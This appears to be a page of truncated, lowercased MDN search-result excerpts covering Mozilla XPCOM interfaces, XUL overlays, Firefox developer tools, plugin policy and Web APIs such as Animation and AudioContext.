the document contained in the window. read only. frames nsidomwindowcollection the child windows for this window. read only. native code only! globalstorage nsidomstoragelist global storage, accessible by domain. read only. note: prior to gecko 8.0 this attribute was part of nsidomstoragewindow. localstorage nsidomstorage local storage for the current browsing context. data stored in local storage may only be accessed from the same origin that inserted the data into storage in the first place. read only. note: prior to gecko 8.0 this attribute was part of nsidomstoragewindow. name domstring get or set the name of this window. this attribute is "replaceable" in javascript. parent nsidomwindow the window's parent window.
...ead only. scrolly long the current vertical (y) scroll position, in pixels. this attribute is "replaceable" in javascript. read only. scrollbars nsidombarprop the object that controls whether or not scrollbars are shown in the window. this attribute is "replaceable" in javascript. read only. sessionstorage nsidomstorage session storage for the current browsing context. data stored in session storage may be accessed by any site in the browsing context. read only.note: prior to gecko 8.0 this attribute was part of nsidomstoragewindow. textzoom float get or set the document scale factor as a multiplier of the default size. when setting this attribute, an ns_error_not_implemented error may be returned by implementations not supporting zoo...
nsILivemarkService
markservice.idlscriptable this interface is used to create and reload livemarks. you can also use this check whether something is a livemark or not. 1.0 66 introduced gecko 1.8 obsolete gecko 22.0 inherits from: nsisupports last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) this interface is obsolete. ...
... whether something is a livemark or not. 1.0 66 introduced gecko 1.8 obsolete gecko 22.0 inherits from: nsisupports last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) this interface is obsolete. implemented by: @mozilla.org/browser/livemark-service;2. ...
nsILocalFileMac
file object is an alias and followlinks is true, returns the target of the alias. if followlinks is false, returns the unresolved alias file. fsspec getfsspec(); parameters none. return value the fsspec of the file object. native code only!inittoappwithcreatorcode obsolete since gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1)this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. init this object to point to an application having the given creator code. if this app is missing, this will fail. it will first look for running application with the given creator. void inittoappwithcreatorcode( in ostype aappcreator ); parameters aappcreator the signature of the app. native code only!i...
...arameters acfurl the corefoundation url. native code only!initwithfsref init this object with an fsref. note: supported only for xp_macosx. void initwithfsref( [const] in fsrefptr afsref ); parameters afsref the native fsref. native code only!initwithfsspec obsolete since gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0)this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. init this object with an fsspec legacy method - leaving in place for now. void initwithfsspec( [const] in fsspecptr afilespec ); parameters afilespec the native file spec. ispackage() boolean ispackage(); parameters none. return value true if a directory is determined to be a package under mac os 9/x. l...
nsIMsgFilter
defined in comm-central/ mailnews/ base/ search/ public/ nsimsgfilter.idl attributes type attribute nsmsgruleactiontype type; priority // target priority.. throws an exception if the action is not priority attribute nsmsgpriorityvalue priority; targetfolderuri // target folder.. throws an exception if the action is not move to folder attribute acstring targetfolderuri; label // target label. ...
...n comm-central/ mailnews/ base/ search/ public/ nsimsgfilter.idl attributes type attribute nsmsgruleactiontype type; priority // target priority.. throws an exception if the action is not priority attribute nsmsgpriorityvalue priority; targetfolderuri // target folder.. throws an exception if the action is not move to folder attribute acstring targetfolderuri; label // target label. ...
nsINavHistoryContainerResultNode
read only. childrenreadonly boolean false if the node's list of children can be modified (by adding or removing children, or rearranging them), or true if the user interface should not allow the list of children to be altered. read-only. this is false for bookmark folder nodes unless the setfolderreadonly() method has been called to...
...for host and day groupings, doing this has no performance cost since the children have already been computed. for queries and bookmark folders, however, being open means they must keep themselves up-to-date by listening for updates and re-querying as needed. dynamiccontainertype autf8string a string representing the dynamic container api service responsible for this container. accessing this throws an exception if the node isn't a dynamic container. read only. haschildren boolean indicates whether or not the node can have children, and may be used whether the container is open or closed. when the container is closed, the result is an exact answer if the node can be populated easily (for example, for bookmark folders). if it can't be populated easily (for complex history queries, for examp...
nsIPrefService
" which accesses user preference data. using a set method on this object will always create or set a user preference value. when using a get method a user set value will be returned if one exists, otherwise a default value will be returned. nsiprefbranch getbranch( in string aprefroot ); parameters aprefroot the preference root tree on which to base this branch. for example, if the root browser.startup. is used, the branch will be able to easily access the preferences browser.startup.page, browser.startup.homepage, and browser.startup.homepage_override by simply requesting page, homepage, or homepage_override. nsnull or "" (empty string) may be used to access to the entire preference tree. return value nsiprefbranch - the object representing the requested branch. getdefaultbranch(...
...lt value will always be returned. note: few consumers will want to create default branch objects. many of the branch methods do nothing on a default branch because the operations only make sense when applied to user set preferences. nsiprefbranch getdefaultbranch( in string aprefroot ); parameters aprefroot the preference root tree on which to base this branch. for example, if the root browser.startup. is used, the branch will be able to easily access the preferences browser.startup.page, browser.startup.homepage, and browser.startup.homepage_override by simply requesting page, homepage, or homepage_override. nsnull or "" (empty string) may be used to access to the entire preference tree. return value nsiprefbranch - the object representing the requested default branch. readuserp...
nsIRequest
erhaps satisfy this request. they are listed in descending order of precedence. constant value description load_bypass_cache 1 << 9 force an end-to-end download of content data from the origin server. this flag is used for a shift-reload. load_from_cache 1 << 10 load from the cache, bypassing protocol specific validation logic. this flag is used when browsing via history. it is not recommended for normal browsing as it may likely violate reasonable assumptions made by the server and confuse users. the following flags control the frequency of cached content validation when neither load_bypass_cache or load_from_cache are set. by default, cached content is automatically validated if necessary before reuse. note: these flags are intended for n...
...consider, for example, a http response with a "cache-control: no-cache" header. according to rfc2616, this response must be validated before it can be taken from a cache. breaking this requirement could result in incorrect and potentially undesirable side-effects. ...
nsISHEntry
docshell/shistory/public/nsishentry.idlscriptable each document or subframe in session history will have a nsishentry associated with it which will hold all information required to recreate the document from history. inherits from: nsihistoryentry last changed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) implemented by: @mozilla.org/browser/session-history-entry;1. ...
...or subframe in session history will have a nsishentry associated with it which will hold all information required to recreate the document from history. inherits from: nsihistoryentry last changed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) implemented by: @mozilla.org/browser/session-history-entry;1. ...
nsIScrollable
n integer representing the minimal position of the horizontal scroll range. maxhorizontalpos an integer representing the maximal position of the horizontal scroll range. minverticalpos an integer representing the minimal position of the vertical scroll range. ...
...enting the minimal position of the horizontal scroll range. maxhorizontalpos an integer representing the maximal position of the horizontal scroll range. minverticalpos an integer representing the minimal position of the vertical scroll range. ...
nsITaggingService
toolkit/components/places/public/nsitaggingservice.idlscriptable provides methods to tag/untag a uri, to retrieve uris for a given tag, and to retrieve all tags for a uri. 1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) implemented by: @mozilla.org/browser/tagging-service;1. ...
...e provides methods to tag/untag a uri, to retrieve uris for a given tag, and to retrieve all tags for a uri. 1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) implemented by: @mozilla.org/browser/tagging-service;1. ...
nsIWindowsShellService
inherits from: nsishellservice last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview string getregistryentry(in long ahkeyconstant, in string asubkeyname, in string avaluename); obsolete since gecko 1.8 void restorefilesettings(in boolean aforallusers); obsolete since gecko 1.9 void shortcutmaintenance(); attributes attribute type description desktopbackgroundcolor unsigned long the desktop background color, visible when no background image is used, or if the background image is centered and does not fill the entire screen. ...
...void shortcutmaintenance(); parameters none. ...
nsIXULAppInfo
ervice. read only. ...
... and the gecko version in an alert box: var info = components.classes["@mozilla.org/xre/app-info;1"] .getservice(components.interfaces.nsixulappinfo); alert("application version: " + info.version + "\n" + "gecko version: " + info.platformversion); example this example here uses nsixulappinfo to get the version of the current browser and then compares it: example - compare current browser version see also using nsixulappinfo nsixulruntime get thunderbird version firefox code snippets ...
nsIZipWriter
thefile, false); zipw.close(); the argument myzipfilepath isn't a path but rather it has to be an nsifile instance specifying the location of the new zip file. the file need not exist, but the directory that contains it (nsifile.parent) must exist. recursively add all contents of a directory to zip file this example below can be copied and pasted into your scratchpad, set the environment to "browser" and can run. what it does is shows a file picker dialog and asks you to pick a folder. once you pick a folder, it will create a zip file inside this folder with the same name as the folder. it will then recursively go through all contents in the folder selected and add them into this zip file. this example is also a good of example of the in autf8string azipentry argument of addentryfile and h...
...p = cc['@mozilla.org/filepicker;1'].createinstance(ci.nsifilepicker); fp.init(window, 'select directory to compile', ci.nsifilepicker.modegetfolder); fp.appendfilters(ci.nsifilepicker.filterall | ci.nsifilepicker.filtertext); var rv = fp.show(); if (rv == ci.nsifilepicker.returnok) { var dir = fp.file; //dir must exist, as the user selected it. ...
XUL Overlays
Mozilla › Tech › XUL › Overlays
he whole ui reusing particular pieces of the ui xul files and overlays work together to describe a single master document. though there is no formal restriction on what kind of xul content is located in "base" xul files and what kind should be put in overlays, xul overlays generally define items that are not present in the basic versions of the ui, such as additional components. when plug-ins, browser extensions, or other applications provide new ui elements to the browser, these elements should be defined in overlay files. the installation of a media plug-in, for example, may add new icons and menu items to the interface: in the navigatoroverlay.xul file or in a separate navigatorsspoverlay.xul file (where navigator.xul defines the basic ui for the navigator package), these new plug-in ele...
...the overlay simply apply to the entire master document. loading overlays dynamically the chrome registry makes it possible to load xul overlays dynamically -- or only when necessary. the chrome registry, which is a special rdf datasource into which user-specific information is persisted, or stored, contains information about the components or additional packages that have been installed with the browser. when a component such as the "super stream player" from the examples above is registered there, overlays associated with that component are loaded automatically. when the component is not present, only the base files are loaded. loading overlays at runtime firefox 1.5 and other gecko 1.8-based applications also support loading overlays on-the-fly via the document.loadoverlay() function. todo: ...
Testing Mozilla code
testing your code is important! before you can even get your code committed into the source tree, you have to test it, and larger patches have to have automated tests. these articles will help you master (and continue to excel at) testing mozilla code. asan nightly projectthe asan nightly project involves building a firefox nightly browser with the popular addresssanitizer tool and enhancing it with remote crash reporting capabilities for any errors detected.clang static analysisthis document is split in two parts. the first part will focus on the modern and robust way of static-analysis and the second part will present the build-time static-analysis.debugging mozilla with valgrindthis page describes how to use valgrind (specifically, its memcheck tool) to find memory errors.fire...
...ertain lines are hit, branches taken or conditions met in a program, given some test that you run on it. there are different types of coverage metrics (see also the wikipedia entry), but when we speak of code coverage here, we usually mean line and branch coverage. this type of coverage is only concerned with hit counts for lines and branches.the valgrind test jobthe valgrind test job builds the browser and runs it under valgrind, which can detect various common memory-related errors. this job only runs on linux64, which is the platform best suited to running valgrind. ...
Thunderbird Configuration Files
open the context menu (right-click) on any existing preference, go to the new menu, and select the type of preference. some preferences may require that you restart thunderbird in order to take effect. configuration files some tips and tricks require that you edit configuration files manually. there are three files you should know about: userchrome.css used to change the appearance of the browser. usercontent.css used to change the appearance of web pages. user.js used to change various preferences. all these files are plain text files you need to create in your profile folder and can be edited using a standard text editor, such as notepad on windows and gedit or kate on linux. locate your profile folder before the configuration files are presented, you should know how to find y...
...s notepad on windows and gedit or kate on linux. locate your profile folder before the configuration files are presented, you should know how to find your profile folder, which is where thunderbird saves all your settings on your hard drive. on windows vista/xp/2000, the path is usually %appdata%\thunderbird\profiles\xxxxxxxx.default\, where xxxxxxxx is a random string of 8 characters. just browse to c:\documents and settings\[user name]\application data\thunderbird\profiles\ on windows xp/2000 or c:\users\[user name]\appdata\roaming\thunderbird\profiles\ on windows vista, and the rest should be obvious. on windows 95/98/me, the path is usually c:\windows\application data\thunderbird\profiles\xxxxxxxx.default\ on linux, the path is usually ~/.thunderbird/xxxxxxxx.default/ on mac os x, ...
Using Mozilla code in other projects
various components of the platform, such as the spidermonkey javascript engine, can be used in your own projects without the rest of the platform. there are also modules that aren't used in firefox but are available for use by other applications; an example of this is rhino, the javascript engine written in java. you can embed gecko, the layout engine used by firefox to process web pages, as a browser within your own application. building xul applications the joy of xul an introduction to xul; a must read for new developers. xul reference the complete reference to xul. xulrunner a mozilla runtime package that can be used to bootstrap xul and xpcom applications with ease. mozilla toolkit information about the mozilla toolkit api. ...
... ...
Zombie compartments
and they cause firefox's memory usage to increase gradually over time, slowing it down and making it more likely to crash. reactive checking if you look at about:memory and you see a compartment for www.foo.com, but you closed your last www.foo.com tab a while ago, there's a good chance you're seeing a zombie compartment. follow these steps to make a more conclusive diagnosis. restart the browser. open the page that you think might cause a zombie compartment. open about:memory in another tab to confirm that the relevant compartment is present. close the first page. minimize memory usage and remeasure in about:memory. it might be worth refreshing multiple times just to be sure. if the compartment is still present in about:memory, that's very suspicious. you could try waiting 20 mi...
...iple tabs open it's easy to mis-identify whether a compartment should still be alive. if you only have about:memory open, things are much simpler. proactive checking of add-ons it's not uncommon for add-ons to cause zombie compartments, see bug 700547 for examples. follow these steps to do some basic checking of an add-on. create a new profile. install and enable the add-on. restart the browser. browse one or more pages and do something that exercises the add-on. for example, for an add-on that remembers passwords, visit a site that requires a password; for an add-on that performs an operation involving a specific page element such as an image or a chunk of text, perform that operation. the more you exercise the add-on, the more thorough the testing will be, but in practice a lot ...
Blocking By Domain - Plugins
his list may not use plugins when they are loaded into a third-party iframe in another site. criteria in order to improve firefox security and performance, there are two major categories of sites mozilla may choose to add to plugin domain blocking: sites commonly embedded in a 3rd-party context web sites which are commonly embedded into other sites using iframes can have a large impact on browser security and also cause many sites to show plugin activation prompts. sites in this category may include advertisers, social media sites, and other utilities. top sites many popular sites work properly without plugins, but still prompt users for activation. in order to improve site performance and reduce the number of plugin prompts that users see, popular sites that show unnecessary plugin p...
... cause many sites to show plugin activation prompts. sites in this category may include advertisers, social media sites, and other utilities. top sites many popular sites work properly without plugins, but still prompt users for activation. in order to improve site performance and reduce the number of plugin prompts that users see, popular sites that show unnecessary plugin prompts or slow the browser down with unnecessary plugins will be added to the plugin block list. list contents and updates the plugin block lists are freely-licensed lists maintained by mozilla in github. the initial contents of the third-party plugin block list are based on disconnect's open source blocklist. subsequent updates to the list will be made using telemetry from firefox experiments. in general, sites will ...
Plug-in Side Plug-in API - Plugins
« previousnext » this chapter describes methods in the plug-in api that are available for the plug-in object. the names of all of these methods begin with npp_ to indicate that they are implemented by the plug-in and called by the browser. for an overview of how these two sides of the plug-in api interact, see the how plug-ins work and overview of plug-in structure sections in the introduction. plugin method summary npp_destroy deletes a specific instance of a plug-in. npp_destroystream tells the plug-in that a stream is about to be closed or destroyed. np_getentrypoints undocumented. np_getmimedescription registers the mime types supported by the plug-in (unix, mac os). npp_getvalue allows the browser to query the plug-in for information. np_getvalue allows th...
...duction. plugin method summary npp_destroy deletes a specific instance of a plug-in. npp_destroystream tells the plug-in that a stream is about to be closed or destroyed. np_getentrypoints undocumented. np_getmimedescription registers the mime types supported by the plug-in (unix, mac os). npp_getvalue allows the browser to query the plug-in for information. np_getvalue allows the browser to query the plug-in for information. npp_handleevent delivers a platform-specific window event to the instance. np_initialize provides global initialization for a plug-in. npp_new creates a new instance of a plug-in. npp_newstream notifies a plug-in instance of a new data stream. npp_print requests a platform-specific print operation for an embedded or full-screen plug-in. npp_setva...
Plugins
they may not be supported in the future. new content should not be written using flash or any other plugin technology. roadmap plugin roadmap information about the roadmap for adobe flash and other plugin support in firefox. roadmap highlights since firefox 52, plugins other than flash are not loaded by firefox. starting in firefox 55, users will be asked to choose which sites may use flash content. ...
...t for http:// and https:// (bug 1335475). see also flash can now be loaded only from http/https for more useful information. starting with firefox 56 in september 2017, firefox for android will remove all support for plugins (bug 1381916). tutorials and references the articles below are developer information about the developing for click-to-play, and plugin blocking. flash activation: browser comparison each browser activates flash slightly differently, which can be confusing for users and web authors. plugin blocking by domain in order to improve security and performance for firefox users, firefox maintains a list of sites that are not able to use plugins. archived information legacy documentation about developing npapi plugins. ...
DOM Inspector - Firefox Developer Tools
the dom hierarchy can be navigated using a two-paned window that allows a variety of different views on the document and all nodes within. this tool is an add-on for xul-based applications such as firefox and thunderbird. if you are looking for the dom inspector that's built into firefox, see the documentation for the page inspector. documentation introduction to dom inspector a guided tutorial that will help you get started with dom inspector. dom inspector faq answers to common questions on dom inspector. ...
...tarted with dom inspector. dom inspector faq answers to common questions on dom inspector. dom inspector page at mozillazine more information on the dom inspector. how to build the dom inspector blog post on building the dom inspector from source. getting dom inspector firefox & thunderbird you may download and install the dom inspector from the amo web site. (thunderbird users browsing amo in firefox should save the installation link, or visit the dom inspector for thunderbird page.) thunderbird 2 dom inspector for thunderbird 2 is available from thunderbird add-ons. or, build thunderbird yourself with the following options: ac_add_options --enable-extensions="default inspector" ac_add_options --enable-inspector-apis mozilla suite and seamonkey select tools > web...
Access debugging in add-ons - Firefox Developer Tools
we are planning to deprecate the use by firefox add-ons of the techniques described in this document. don't write new add-ons that use these techniques. the following items are accessible in the context of chrome://browser/content/debugger.xul (or, in version 23 beta, chrome://browser/content/devtools/debugger.xul): window.addeventlistener("debugger:editorloaded") - called when the read-only script panel loaded. ...
...n't write new add-ons that use these techniques. the following items are accessible in the context of chrome://browser/content/debugger.xul (or, in version 23 beta, chrome://browser/content/devtools/debugger.xul): window.addeventlistener("debugger:editorloaded") - called when the read-only script panel loaded. window.addeventlistener("debugger:editorunloaded") relevant files: chrome://browser/content/devtools/debugger-controller.js chrome://browser/content/devtools/debugger-toolbar.js chrome://browser/content/devtools/debugger-view.js chrome://browser/content/devtools/debugger-panes.js unfortunately there is not yet any api to evaluate watches/expressions within the debugged scope, or highlight elements on the page that are referenced as variables in the debugged scope. (curren...
Source map errors - Firefox Developer Tools
you can sometimes encounter problems working with source maps. this page explains the most common problems and how to fix them. note: if you're new to source maps, you can learn more about them in how to use a source map. general source map error reporting if you do see a problem, a message will appear in the webconsole. ...
...lative to the resource). the error tells us that the source map is not json data — so we're serving the wrong file. there are a few common ways that source maps can go wrong; they are detailed in the following sections. source map missing or inaccessible the source map resource can be missing or inaccessible. the fix here is to make sure the file is being served and is accessible to the browser invalid source map the source map data can be invalid — either simply not a json file at all, or with an incorrect structure. typical error messages here are: syntaxerror: json.parse: unexpected character at line 1 column 1 of the json data error: "version" is a required argument original source missing an original source may be missing. you may encounter this when trying to open ...
Debugger.Object - Firefox Developer Tools
returned each time for a given debugger.object instance. a typical javascript embedding provides "host objects" to expose application-specific functionality to scripts. the hostannotations accessor consults the embedding for additional information about the referent that might be of interest to the debugger. the returned object's properties' meanings are up to the embedding. for example, a web browser might provide host annotations for global objects to distinguish top-level windows, iframes, and internal javascript scopes. by convention, host annotation objects have a string-valued "type" property that, taken together with the object's class, indicate what sort of thing the referent is. the host annotation object's other properties provide further details, as appropriate for the type. for...
...ethods of other kinds of objects. the descriptions use "referent" to mean "the referent of this debugger.object instance". unless otherwise specified, these methods are not invocation functions; if a call would cause debuggee code to run (say, because it gets or sets an accessor property whose handler is debuggee code, or because the referent is a proxy whose traps are debuggee code), the call throws a debugger.debuggeewouldrun exception. getproperty(name) return the value of the referent's property namedname, or undefined if it has no such property.name must be a string. the result is a debuggee value. setproperty(name,value) storevalue as the value of the referent's property namedname, creating the property if it does not exist.name must be a string;value must be a debuggee valu...
All keyboard shortcuts - Firefox Developer Tools
firefox. the first section lists the shortcut for opening each tool and the second section lists shortcuts that are applicable to the toolbox itself. after that there's one section for each tool, which lists the shortcuts that you can use within that tool. because access keys are locale-dependent, they're not documented in this page. opening and closing tools these shortcuts work in the main browser window to open the specified tool. the same shortcuts will work to close tools hosted in the toolbox, if the tool is active. for tools like the browser console that open in a new window, you have to close the window to close the tool. command windows macos linux open toolbox (with the most recent tool activated) ctrl + shift + i cmd + opt + i ctrl + shift + ...
...tab) ctrl + shift + c cmd + opt + c ctrl + shift + c open style editor shift + f7 shift + f7 * shift + f7 open profiler shift + f5 shift + f5 * shift + f5 open network monitor 2 ctrl + shift + e cmd + opt + e ctrl + shift + e toggle responsive design mode ctrl + shift + m cmd + opt + m ctrl + shift + m open browser console ctrl + shift + j cmd + shift + j ctrl + shift + j open browser toolbox ctrl + alt + shift + i cmd + opt + shift + i ctrl + alt + shift + i open scratchpad shift + f4 shift + f4 * shift + f4 open webide shift + f8 shift + f8 * shift + f8 storage inspector shift + f9 shift + f9 * shift + f9 open deb...
Network request list - Firefox Developer Tools
can reset the sort to the default by selecting "reset sorting" from the context menu. here is a list of all available columns: status: the http status code returned. the numeric code is displayed on a colored background, to help unusual ones stand out. if there was no response, this column is empty. or you might see a red circle with a diagonal slash for responses that were blocked by the browser or the server. method: the http request method used. domain: domain of the path requested. if the request used ssl/tls and the connection had security weaknesses such as weak ciphers, you'll see a warning triangle next to the domain. y hover over the domain to see the ip address. there's an icon next to the domain that gives you extra information about the security status of that ...
...see the section on the timings page. starting in firefox 45, the timeline also contains two vertical lines: the blue line marks the point at which the page's domcontentloaded event is triggered. the red line marks the point at which the page's load event is triggered. blocking specific urls if you want to view your page as it would look without a resource (e.g., if it were blocked by the browser or an extension), you can block requests matching patterns you specify. click the request blocking icon in the toolbar. this opens the blocking sidebar. (click the icon again when you want to close the sidebar.) enter a string in the field with the placeholder text block resource when url contains. reload the page to test it with the specified url blocked. other actions you can take w...
Edit fonts - Firefox Developer Tools
note: the updated font tools as shown in this article are available in firefox 63 onwards; if you are using an older version of firefox the tools will not look or behave quite the same, but they will be similar (most notably the font editor will not be available). ...
... when there is text content in the inspected element that has the font applied to it. empty elements will not have any fonts used and will display the message "no fonts were found for the current element." fonts will be included in this section for one of the following reasons: they are listed in the element's font-family css declaration value. they are applied to the element as part of the browser's default styling (times new roman for most browsers), and no author-defined font has been supplied. they are used by a descendant of the inspected element, for example, when it is a container for other elements which have text content with fonts applied. they are system fallback fonts used when nothing from the font-family css declaration has been applied. fonts editor firefox 63 adds the...
Work with animations - Firefox Developer Tools
ations created using css transitions, css @keyframes rules, or the web animations api. starting in firefox 48, it will show animations applied to the ::before and ::after pseudo-elements. to see how it works, we'll walk through an example. the box below contains a grayscale icon, representing firefox developer edition. if you click the icon, it enlarges and changes to color, and the name of the browser appears. click the icon again to reverse the effect. these animations are made using the web animations api. let's use the animation inspector to see what's going on in this example. right-click in the box and select "inspect element" make sure the selected element is the <div class="channel"> switch over to the "animations" tab play the animation let's take a closer look at the c...
...%)', offset: 0.333 }, { transform: 'scale(1.5)', offset: 0.666 }, { transform: 'scale(1.5)', filter: 'grayscale(0%)' } ]; application to the example applying all this to our example, we can see that: the animation involved two elements, span#note and img#icon. hovering over these selectors, we can see that those elements are, respectively, the browser name "firefox developer edition" and the browser icon. the img#icon animation: animated the filter and transform properties, to scale the icon and color it lasted 750ms, had an enddelay of 100ms used the compositor thread was given an easing value of ease-in: you can see this by the concave shape of the green bar. the span#note animation: animated the width and ...
Remote Debugging - Firefox Developer Tools
the detailed instructions for connecting the developer tools are specific to the runtime. ...
... the detailed instructions for connecting the developer tools are specific to the runtime. ...
The JavaScript input interpreter - Firefox Developer Tools
ows/linux) or cmd+b (macos). accessing variables you can access variables defined in the page, both built-in variables like window and variables added by javascript libraries like jquery: autocomplete the editor has autocomplete: enter the first few letters and a popup appears with possible completions: press enter, tab, or the right arrow key to accept the suggestion, use the up/down arrows to move to a different suggestion, or just keep typing if you don't like any of the suggestions. console autocomplete suggestions are case-insensitive. the console suggests completions from the scope of the currently executing stack frame. this means that if you've hit a breakpoint in a function you get autocomplete for objects local to the function. you get autocomplete suggestions for array ...
...nction definition in the multi-line editor, and click run, you can switch to single-line mode and still use your function. syntax highlighting the text you enter has syntax highlighting as soon as you have typed enough for the highlighter to parse it and infer the meanings of the "words". the output is highlighted as well where appropriate. note: syntax highlighting is not visible in your browser if accessibility features have been enabled. execution history the interpreter remembers expressions you've typed. to move back and forward through your history: in single-line mode, use the up and down arrows. in multi-line mode, use the ⋀ and ⋁ icons in the editing panel's toolbar. the expression history is persisted across sessions. to clear the history, use the clearhistory()...
AbstractRange - Web APIs
of the range. ranges and the hierarchy of the dom in order to define a range of characters within a document in a way that is able to span across zero or more node boundaries, and which is as resilient as possible to changes to the dom, you can't simply specify the offset to the first and last characters in the html. there are a few good reasons for that. first, after your page is loaded, the browser simply isn't thinking in terms of html. once it's been loaded, the page is a tree of dom node objects, so you need to specify the beginning and ending locations of a range in terms of nodes and positions within nodes. second, in order to support the mutability of the dom tree as much as possible, you need a way to represent positions relative to nodes in the tree, rather than simply global pos...
...rly obvious limitations (such as if a node is moved to be after the endpoint of a range, or if the content of a node is heavily altered), but it's far better than nothing. third, using node-relative positions to define the start and end positions will generally be easier to make perform well. rather than having to negotiate the dom figuring out what your global offset refers to, the user agent (browser) can instead go directly to the node indicated by the starting position and start from there, working its way forward until it reaches the given offset into the ending node. to illustrate this, consider the html below: <div class="container"> <div class="header"> <img src="" class="sitelogo"> <h1>the ultimate website</h1> </div> <article> <section class="entry" id="entry1"> ...
AddressErrors - Web APIs
ne. process the payment the main payment processing code is found in the process() method, up next. let request; function process() { let options = {requestshipping: true}; try { request = new paymentrequest(supportedhandlers, defaultpaymentdetails, options); // add event listeners here. request.onshippingaddresschange = handleaddresschange; // call show() to trigger the browser's payment flow. request.show().then(function(instrumentresponse) { // do something with the response from the ui. console.log("got response!"); }) .catch(function(err) { // do something with the error from request.show(). console.error(`error from show(): ${err}`); }); } catch (e) { // catch any errors from trying to create the paymentrequest object...
...; }, false); see addeventlistener() for information about event handlers and how they work. html here's the simple html for this example. <p>donate us $65 to our worthwhile cause and we will send you a totally not-useless gift as a token of our thanks!</p> <button id="pay">donate now</button> result the final product is below. note: if you have content blocking features enabled in your browser, the example may not work inline below. in that case, you can view the example on its own page. specifications specification status comment payment request apithe definition of 'addresserrors' in that specification. candidate recommendation initial definition. ...
Animation.persist() - Web APIs
Web › API › Animation › persist
syntax animation.persist(); parameters none. return value none. ...
...sole.log('animation removed'); } console.log(anim.replacestate); }); here we have a <div> element, and an event listener that fires the event handler code whenever the mouse moves. the event handler sets up an animation that animates the <div> element to the position of the mouse pointer. this could result in a huge animations list, which could create a memory leak. for this reason, modern browsers automatically remove overriding forward filling animations. you can see the replacestate of the animation being logged at the end of the handler. this will be active for each animation by default, or persisted if the persist() call is uncommented. specifications specification status comment web animationsthe definition of 'persist()' in that specification. working...
Animation.replaceState - Web APIs
place state of the animation. this will be active if the animation has been removed, or persisted if animation.persist() has been invoked on it. syntax let myreplacestate = animation.replacestate; value a string that represents the replace state of the anmation. the value can be one of: active: the initial value of the animation's replace state; when the animation has been removed by the browser's automatically removing filling animations behavior. persisted: the animation has been explicitly persisted by invoking animation.persist() on it. removed: the animation has been explicitly removed. examples in our simple replace indefinite animations demo, you can see the following code: const divelem = document.queryselector('div'); document.body.addeventlistener('mousemove', evt => {...
...sole.log('animation removed'); } console.log(anim.replacestate); }); here we have a <div> element, and an event listener that fires the event handler code whenever the mouse moves. the event handler sets up an animation that animates the <div> element to the position of the mouse pointer. this could result in a huge animations list, which could create a memory leak. for this reason, modern browsers automatically remove overriding forward filling animations. you can see the replacestate of the animation being logged at the end of the handler. this will be active for each animation by default, or persisted if the persist() call is uncommented. specifications specification status comment web animationsthe definition of 'animation.replacestate' in that specificatio...
Animation - Web APIs
Web › API › Animation
se the end styling state to be written to the element being animated, in the form of properties inside a style attribute. animation.finish() seeks either end of an animation, depending on whether the animation is playing or reversing. animation.pause() suspends playing of an animation. animation.persist() explicitly persists an animation, when it would otherwise be removed due to the browser's automatically removing filling animations behavior. animation.play() starts or resumes playing of an animation, or begins the animation again if it previously finished. animation.reverse() reverses playback direction, stopping at the start of the animation. if the animation is finished or unplayed, it will play from end to beginning. animation.updateplaybackrate() sets the speed o...
... to beginning. animation.updateplaybackrate() sets the speed of an animation after first synchronizing its playback position. automatically removing filling animations it is possible to trigger a large number of animations on the same element. if they are indefinite (i.e., forwards-filling), this can result in a huge animations list, which could create a memory leak. for this reason, modern browsers have implemented the part of the web animations spec that automatically removes overriding forward filling animations, unless the developer explicitly specifies to keep them. you can see this in action in our simple replace indefinite animations demo. the related javascript features are: animation.commitstyles() for commiting the end styling state of an animation to the element being anima...
AudioContext() - Web APIs
evice is used by default. return value the newly constructed audiocontext instance. exceptions notsupportederror the specified samplerate isn't supported by the context. usage notes the specification doesn't go into a lot of detail about things like how many audio contexts a user agent should support, or minimum or maximum latency requirements (if any), so these details can vary from browser to browser. be sure to check the values if they matter to you. in particular, the specification doesn't indicate a maximum or minimum number of audio contexts that must be able to be open at the same time, so this is left up to the browser implementations to decide. google chrome per-tab audio context limitation in chrome prior to version 66 google chrome only supported up to six audio cont...
... example this example creates a new audiocontext for interactive audio (optimizing for latency) and a sample rate of 44.1khz. ...
AudioContext.baseLatency - Web APIs
operty of the audiocontext interface returns a double that represents the number of seconds of processing latency incurred by the audiocontext passing an audio buffer from the audiodestinationnode — i.e. the end of the audio graph — into the host system's audio subsystem ready for playing. note: you can request a certain latency during construction time with the latencyhint option, but the browser may ignore the option. syntax var baselatency = audioctx.baselatency; value a double representing the base latency in seconds. example // default latency ("interactive") const audioctx1 = new audiocontext(); console.log(audioctx1.baselatency); // 0.00 // higher latency ("playback") const audioctx2 = new audiocontext({ latencyhint: 'playback' }); console.log(audioctx2.baselatency); // 0.
...octx1 = new audiocontext(); console.log(audioctx1.baselatency); // 0.00 // higher latency ("playback") const audioctx2 = new audiocontext({ latencyhint: 'playback' }); console.log(audioctx2.baselatency); // 0.15 specifications specification status comment web audio apithe definition of 'baselatency' in that specification. working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetbaselatency experimenta...
BasicCardResponse.billingAddress - Web APIs
